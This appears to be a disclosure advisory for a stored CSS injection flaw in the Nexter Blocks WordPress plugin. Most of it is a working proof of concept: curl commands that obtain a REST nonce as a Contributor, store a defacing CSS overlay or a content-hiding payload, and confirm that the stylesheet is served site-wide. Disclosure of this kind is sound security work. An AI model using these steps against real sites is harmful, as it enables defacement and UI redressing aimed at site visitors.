Nexter Blocks < 5.0.2 – Contributor+ Stored CSS Injection | CVE 2026-17011

Description

The plugin does not restrict who can save global CSS through one of its REST endpoints, allowing users with at least the Contributor role to store arbitrary CSS that is rendered site-wide on the front end, enabling defacement, content hiding, and UI redressing.

Proof of Concept

The plugin registers a REST route (POST /wp-json/the-plus-addons-for-block-editor/v1/plus_save_block_css/) whose permission callback is only current_user_can('edit_posts'), which the Contributor role satisfies. With is_global=true, the submitted global_css is written verbatim to wp-content/uploads/theplus_gutenberg/plus-global.css and enqueued on the site's front-end pages.

Prerequisite: a Contributor (or higher) account on the target site.

1. Log in as the Contributor (normal wp-login.php flow, saving cookies) and obtain a wp_rest nonce, which any wp-admin page exposes to a Contributor:
   NONCE=$(curl -s -b cookies.txt "https://victim.example/wp-admin/admin-ajax.php?action=rest-nonce")

2. Store arbitrary global CSS:
   curl -s -b cookies.txt -X POST "https://victim.example/wp-json/the-plus-addons-for-block-editor/v1/plus_save_block_css/" -H "Content-Type: application/json" -H "X-WP-Nonce: $NONCE" --data '{"is_global":true,"is_block":false,"post_id":0,"is_preview":false,"global_css":"body::before{content:\"POC\";position:fixed;z-index:2147483647;top:0;left:0;width:100vw;height:100vh;background:#000;color:red;display:flex;align-items:center;justify-content:center;font-size:40px}"}'
   Expected response: {"success":true,"message":"Plus block css updated."}

3. Confirm the CSS is written and served publicly:
   curl -s "https://victim.example/wp-content/uploads/theplus_gutenberg/plus-global.css"

4. Visit any front-end post/page as an unauthenticated visitor. The injected stylesheet loads (link id 'plus-global-css') and the full-viewport overlay renders, defacing the page for all visitors. Swapping the payload for body *{display:none!important} hides all site content.